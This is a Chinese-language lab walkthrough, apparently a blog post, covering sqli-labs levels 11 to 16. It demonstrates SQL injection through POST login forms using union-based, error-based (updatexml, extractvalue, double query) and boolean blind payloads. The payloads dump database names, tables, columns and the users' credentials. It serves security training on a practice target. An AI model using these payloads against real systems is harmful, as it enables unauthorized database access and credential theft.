目录
Less-11:基于POST表单提交方式的字符型注入
进入靶场,会发现这一关是POST表单的提交方式,也就是输入账户密码进行提交。前面几关都是GET方法去提交请求,我们都是在网页的URL地址栏进行注入,这里是POST方法提交请求,那么注入点也就在表单的输入框中。
这里我已经注入成功了,接下来我去讲一下这种POST表单类型的怎么去注入,其实方法和GET方法差不多,只不过输入注入语句的地方不一样了。
首先要记住我们输入注入语句的地方是在表单里,首先我们输入用户名和密码分别为1-1去测试一下我们输入的东西被带入到数据库中没有。
可以看到页面回显了错误,说明我们输入的用户名和密码被带入到数据库后台做出了判断。其实我打完靶场发现,无论是GET方法发送请求还是POST方法发送请求,都必须要和后台数据库连接起来才可以注入,就像GET方法是在URL地址栏中与数据库进行连接,POST表单是在输入框中进行连接。只有当我们输入的东西和数据库有交互才可以在这个地方进行注入。
其余操作其实和前面几关的基本操作就一样了,首先去测试一下注入点是什么,这里还要注意的就是有些时候他可能只允许你在用户名那一栏进行注入,而在密码栏中对你输入的语句进行了过滤,从而导致你注入不成功,这时候我们可以进行代码审计去看看哪一栏可以注入。要是没有源代码的话就每一栏都试一试。
在11关中两栏都是可以注入的,都没有进行过滤,我们去测试注入点就可以,我们输入单引号做测试。
可以看到页面出现报错了,这种情况注入点一般来说就是单引号了。我们输入语句测试数据库中有多少字段。
在Username输入框输入语句:
1' order by 3 #
这里注意注释符号是 # 而不是 --+ ,因为后台对注释符--进行了过滤。
可以看到页面回显没有第三列,我们再去测试。
在Username输入框输入语句:
1' order by 2 #
页面回显:
可以看到页面没有报错,列数为2。接下来去测试显示位。
在Username输入框输入语句:
1' union select 1,2 #
页面回显:
可以看到不仅成功进入了登录成功页面而且给我们回显出来了显示位。
接下来可以使用联合注入,报错注入,盲注等手段进行数据爆破。这里我采用联合注入。
爆破数据库名
在Username输入框输入语句:
1' union select 1,database() #
页面回显:
可以看到成功爆破了数据库名。
爆破表名
在Username输入框输入语句:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
页面回显:
可以看到回显了表名。
爆破列名
在Username输入框输入语句:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
页面回显:
可以看到成功爆破了列名。
爆破字段值
在Username输入框中输入语句:
1' union select 1,group_concat(0x7e,id,0x7e,username,0x7e,password) from users #
页面回显:
可以看到成功爆破了字段值。
至此第十一关就结束了。
Less-12:基于POST表单提交方式的字符型注入
这一关注入点为 ") 其余操作都和第11关一样,这里就不在赘述了。
Less-13:基于POST表单提交方式的报错注入
首先测试这一关的注入点是 ') ,之后测试该数据库有多少列。
在Username输入框输入语句:
1') order by 3 #
页面回显:
根据报错发现列数少于三,再去测试二发现该数据库中有两列。之后判断显示位。
在Username输入框输入语句:
1') union select 1,2 #
页面回显:
可以发现虽然我们成功登录了用户,但是没有显示位。没有显示位的情况下要第一时间想到使用报错注入,如果没有报错回显的话再考虑盲注。
这里我们尝试使用报错注入,我这里使用双查询注入。
爆破数据库名
在Username输入框中输入语句:
1') union select count(*),concat(0x7e,database(),floor(rand(0)*2)) as a from information_schema.tables group by a #
页面回显:
可以看到成功爆破了数据库名。
爆破表名
因为是报错注入,所以会有输出限制,一般是32位限制,所以要用 limit 函数去限制输出,这里我只演示爆破其中一张表,其余表同理。
这里我使用 updatexml() 函数报错注入。
在Username输入框输入语句:
1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3) #
页面回显:
可以看到爆破了表名为 emails 的表。
爆破列名
这里我只爆破表“emalis”中的一个列名。
这里我使用 extractvalue() 函数报错注入。
在Username输入框中输入语句:
1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) #
页面回显:
可以看到爆破出了表“emails”中的第一列的列名。
爆破字段值
在Username输入语句:
1') and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #
页面回显:
可以看到页面回显了第一个字段值。
到这里Less13就结束了。
Less-14:基于POST表单提交方式的报错注入
第十四关和第十三关只有注入点不一样,第十四关的注入点是 " ,双引号为注入点,换一下注入点就可以了,其余操作同第十三关一样采用报错注入。
Less-15:基于POST表单提交方式的布尔盲注
经过测试这一关的注入点为 ' ,然后测试列数为2。接下来测试一下显示位。
输入语句:
1' union select 1,2 #
页面回显:
可以看到虽然成功登录了,但是没有显示位,接下来我们首先尝试报错注入。
输入语句:
1' and extractvalue(1,concat(0x7e,database())) #
页面回显:
可以看到并没有回显报错信息,说明没有报错回显。那就考虑一下盲注,这里观察到页面是有正确登录之后的显示和登录失败的显示的。所以这里考虑使用布尔盲注,如果是不管怎么样都只显示一种结果那就考虑时间盲注。
猜解长度
输入语句:
1' or length(database())>8 #
这里要注意的是不能使用关键字 and 了,要使用关键字 or ,因为我们输入的用户名和密码不一定正确,但是关键字 and 是前后都要进行判断是否正确,一旦我们输入的用户名和密码不对的话直接就判定错误了,没有办法执行我们的注入语句,但是 or 不一样,他的意思是前面的或者后面的,有一个正确就可以,就算我们用户名和密码不正确,但是后面的注入语句正确了,也可以。
页面回显:
可以看到页面还是回显错误,那说明数据库名字长度小于8,我们测试一下7。
输入语句:
1' or length(database())>7 #
页面回显:
可以看到页面回显正常了,说明数据库名字长度大于7,那么数据库名字长度就是8。其余判断长度的方法都一样的。这里不在赘述。
猜解具体名字
输入语句:
1' or left(database(),1)>'a' #
页面回显:
可以看到页面是正常登录的页面,说明数据库名字的第一个字母的ASCII码值是大于字母 'a' 的ASCII码值的。
输入语句:
1' or left(database(),1)>'z' #
页面回显:
页面回显错误,说明数据库名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。通过这样测试最终就可以的猜解到字母是什么。这里不在赘述。
猜解表长度
输入语句:
1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 #
页面回显:
页面回显错误,说明第一张表名字的长度小于6。
输入语句:
1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 #
页面回显:
可以看到出现了正常登录的界面,说明第一张表名字的长度小于5。所以表名的长度就是6。
猜解表名
输入语句:
1' or left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'f' #
页面回显:
可以看到页面回显错误,说明该表名名字的第一个字母的ASCII码值小于字母 'f' 的ASCII码值。之后就按照这种方法去测试就可以。这里不再赘述。
猜解列名长度
输入语句:
1' or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>3 #
页面回显:
页面回显错误,说明 'emails' 表的第一列的名字长度小于3。
输入语句:
1' or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>1 #
页面回显:
页面回显正常,说明 'emails' 表的第一列的名字长度大于1。所以列名长度为2。
猜解列名
输入语句:
1' or left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'a' #
页面回显:
可以看到出现了正常登录的界面,说明列名第一个字母的ASCII码值大于字母 'a' 的ASCII码值。
输入语句
1' or ascii((select column_name from information_schema.columns where table_name='emails' limit 0,1))>127 #
这条语句我使用了 ascii() 函数,该函数的含义是返回字符串最左边字符的ASCII码值。
页面回显:
说明该列名名字的第一个字母的ASCII码值小于127,使用语句测试出来该字母对应的ASCII码值就可以了,这里不在赘述。
猜解字段值
输入语句:
1' or left((select id from emails limit 0,1),1)>0 #
页面回显:
输入语句:
1' or left((select id from emails limit 0,1),1)>1 #
页面回显:
可以推断第一个字段值是1。其他字段值这里不在赘述,推断方法如上。
到这里第十五关就结束了。
Less-16:基于POST表单提交方式的布尔盲注
这一关和十五关用的方法一样,只不过注入点换成了 ") 。
总结
这里我讲述了POST提交方式的注入方法,用到的注入类型为联合注入、报错注入、布尔盲注三种。